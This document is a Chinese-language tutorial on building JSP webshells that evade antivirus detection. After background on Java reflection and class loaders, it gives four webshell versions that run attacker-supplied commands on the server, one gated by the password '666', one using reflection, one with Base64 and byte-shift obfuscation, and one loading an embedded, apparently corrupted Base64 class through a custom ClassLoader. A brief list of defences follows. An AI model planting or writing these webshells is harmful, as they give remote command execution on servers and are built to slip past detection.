JSP免杀马
字数 854 2025-08-10 09:43:36

JSP免杀马技术详解

一、Java反射机制

1. 反射概念

Java反射机制是指在程序运行状态中,可以动态获取类的信息并操作类或对象的属性和方法。这种机制使得Java具有动态语言特性。

2. 获取Class对象的三种方式

// 1. 通过完整类名获取
Class.forName("完整类名带包名")

// 2. 通过对象实例获取
对象.getClass()

// 3. 通过类字面常量获取
任何类型.class

3. 反射使用示例

import java.lang.reflect.Method;

public class testClass {
    public static void main(String[] args) throws Throwable {
        // 正常方式调用
        Reflect reflect = new Reflect();
        reflect.print(1, 2);
        
        // 部分反射调用
        Class<?> aClass = Class.forName("reflection.Reflect");
        Method method = aClass.getMethod("print", int.class, int.class);
        method.invoke(reflect, 1, 2);
        
        // 全部反射调用
        Class.forName("reflection.Reflect")
            .getMethod("print", int.class, int.class)
            .invoke(Class.forName("reflection.Reflect")
            .getMethod("getReflect")
            .invoke(Class.forName("reflection.Reflect")), 1, 2);
    }
}

二、ClassLoader加载机制

1. Java类加载器层次结构

  1. Bootstrap ClassLoader:最顶层加载器,加载核心类库(%JRE_HOME%/lib下的rt.jar等)
  2. Extention ClassLoader:扩展类加载器,加载%JRE_HOME%/lib/ext目录
  3. Appclass Loader:系统类加载器,加载当前应用的classpath所有类

2. 类加载器测试代码

public class LoaderClass {
    public static void main(String[] args) {
        // 查看各加载器加载路径
        System.out.println(System.getProperty("sun.boot.class.path")); // Bootstrap
        System.out.println(System.getProperty("java.ext.dirs"));      // ExtClassLoader
        System.out.println(System.getProperty("java.class.path"));    // AppClassLoader
        
        // 查看类加载器层次
        ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();
        System.out.println("systemClassLoader = " + systemClassLoader);
        
        ClassLoader extensionClassLoader = systemClassLoader.getParent();
        System.out.println("extensionClassLoader = " + extensionClassLoader);
        
        ClassLoader bootstrapClassloader = extensionClassLoader.getParent();
        System.out.println("bootstrapClassloader = " + bootstrapClassloader);
    }
}

3. 类加载委托机制

加载类时遵循"父委托"机制:自定义类加载器 → AppClassLoader → ExtClassLoader → BootstrapClassLoader

三、JSP免杀马实现

1. 基础JSP马

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% 
    if ("666".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        out.print("<pre>");
        java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
        java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
        String s = null;
        while ((s = stdInput.readLine()) != null) {
            out.println(s);
        }
        out.print("</pre>");
    }
%>

2. 反射改进版

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% 
    if (request.getParameter("cmd") != null) {
        Class rt = Class.forName("java.lang.Runtime");
        Process e = (Process) rt.getMethod("exec").invoke(
            rt.getMethod("getRuntime").invoke(null), 
            request.getParameter("cmd"));
        // 输出处理代码同上
    }
%>

3. 字符串加密版

<%@ page import="sun.misc.BASE64Decoder" %>
<% 
    if (request.getParameter("cmd") != null) {
        BASE64Decoder decoder = new BASE64Decoder();
        byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");
        for (int i = 0; i < bytes.length; i++) {
            bytes[i] = (byte) (bytes[i] + 1);
        }
        Class rt = Class.forName(new String(bytes));
        Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class)
            .invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}))
            .invoke(null), request.getParameter("cmd"));
        // 输出处理代码同上
    }
%>

4. ClassLoader高级免杀版

恶意类代码

package pass.loader;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;

public class EvalClass {
    public String command;
    
    public EvalClass(String command) throws IOException {
        StringBuilder stringBuilder = new StringBuilder();
        Process process = Runtime.getRuntime().exec(command);
        BufferedReader bufferedReader = new BufferedReader(
            new InputStreamReader(process.getInputStream()));
        String print;
        while ((print = bufferedReader.readLine()) != null) {
            stringBuilder.append(print).append("\\n");
        }
        this.command = stringBuilder.toString();
    }
    
    @Override
    public String toString() {
        return this.command;
    }
}

JSP马实现

<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<% 
    if ("666".equals(request.getParameter("pwd"))) {
        String cmd = request.getParameter("cmd");
        ClassLoader classLoader = new ClassLoader() {
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    BASE64Decoder decoder = new BASE64Decoder();
                    byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");
                    return defineClass(name, bytes, 0, bytes.length);
                } catch (IOException e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
            
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("EvalClass")) {
                    return findClass(name);
                } else {
                    return super.loadClass(name);
                }
            }
        };
        
        Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");
        Constructor cos = evalClass.getConstructor(String.class);
        Object obj = cos.newInstance(cmd);
        out.print("<pre>");
        out.print(obj.toString());
        out.print("</pre>");
    }
%>

四、免杀原理分析

  1. 反射机制:避免直接调用敏感类和方法,通过反射间接调用
  2. 字符串加密:对关键类名和方法名进行编码/加密,避免特征检测
  3. ClassLoader隔离:将恶意代码完全封装在自定义类加载器中,与正常代码隔离
  4. 动态加载:运行时动态加载恶意类,避免静态检测

五、防御建议

  1. 监控所有自定义ClassLoader的加载行为
  2. 对反射调用进行深度检测
  3. 禁止非必要的高危反射操作
  4. 加强运行时行为监控,特别是进程创建行为
  5. 对上传的JSP文件进行严格的内容检测

六、总结

JSP免杀马技术主要利用Java的反射机制和类加载机制实现,相比PHP马更难检测。当前主流防御手段是通过检测特征码和行为特征,而高级免杀技术则通过完全隔离恶意代码、动态加载等方式绕过检测。防御方需要从多个层面进行防护,包括静态检测、运行时监控和行为分析等。

JSP免杀马技术详解 一、Java反射机制 1. 反射概念 Java反射机制是指在程序运行状态中,可以动态获取类的信息并操作类或对象的属性和方法。这种机制使得Java具有动态语言特性。 2. 获取Class对象的三种方式 3. 反射使用示例 二、ClassLoader加载机制 1. Java类加载器层次结构 Bootstrap ClassLoader :最顶层加载器,加载核心类库(%JRE_ HOME%/lib下的rt.jar等) Extention ClassLoader :扩展类加载器,加载%JRE_ HOME%/lib/ext目录 Appclass Loader :系统类加载器,加载当前应用的classpath所有类 2. 类加载器测试代码 3. 类加载委托机制 加载类时遵循"父委托"机制:自定义类加载器 → AppClassLoader → ExtClassLoader → BootstrapClassLoader 三、JSP免杀马实现 1. 基础JSP马 2. 反射改进版 3. 字符串加密版 4. ClassLoader高级免杀版 恶意类代码 JSP马实现 四、免杀原理分析 反射机制 :避免直接调用敏感类和方法,通过反射间接调用 字符串加密 :对关键类名和方法名进行编码/加密,避免特征检测 ClassLoader隔离 :将恶意代码完全封装在自定义类加载器中,与正常代码隔离 动态加载 :运行时动态加载恶意类,避免静态检测 五、防御建议 监控所有自定义ClassLoader的加载行为 对反射调用进行深度检测 禁止非必要的高危反射操作 加强运行时行为监控,特别是进程创建行为 对上传的JSP文件进行严格的内容检测 六、总结 JSP免杀马技术主要利用Java的反射机制和类加载机制实现,相比PHP马更难检测。当前主流防御手段是通过检测特征码和行为特征,而高级免杀技术则通过完全隔离恶意代码、动态加载等方式绕过检测。防御方需要从多个层面进行防护,包括静态检测、运行时监控和行为分析等。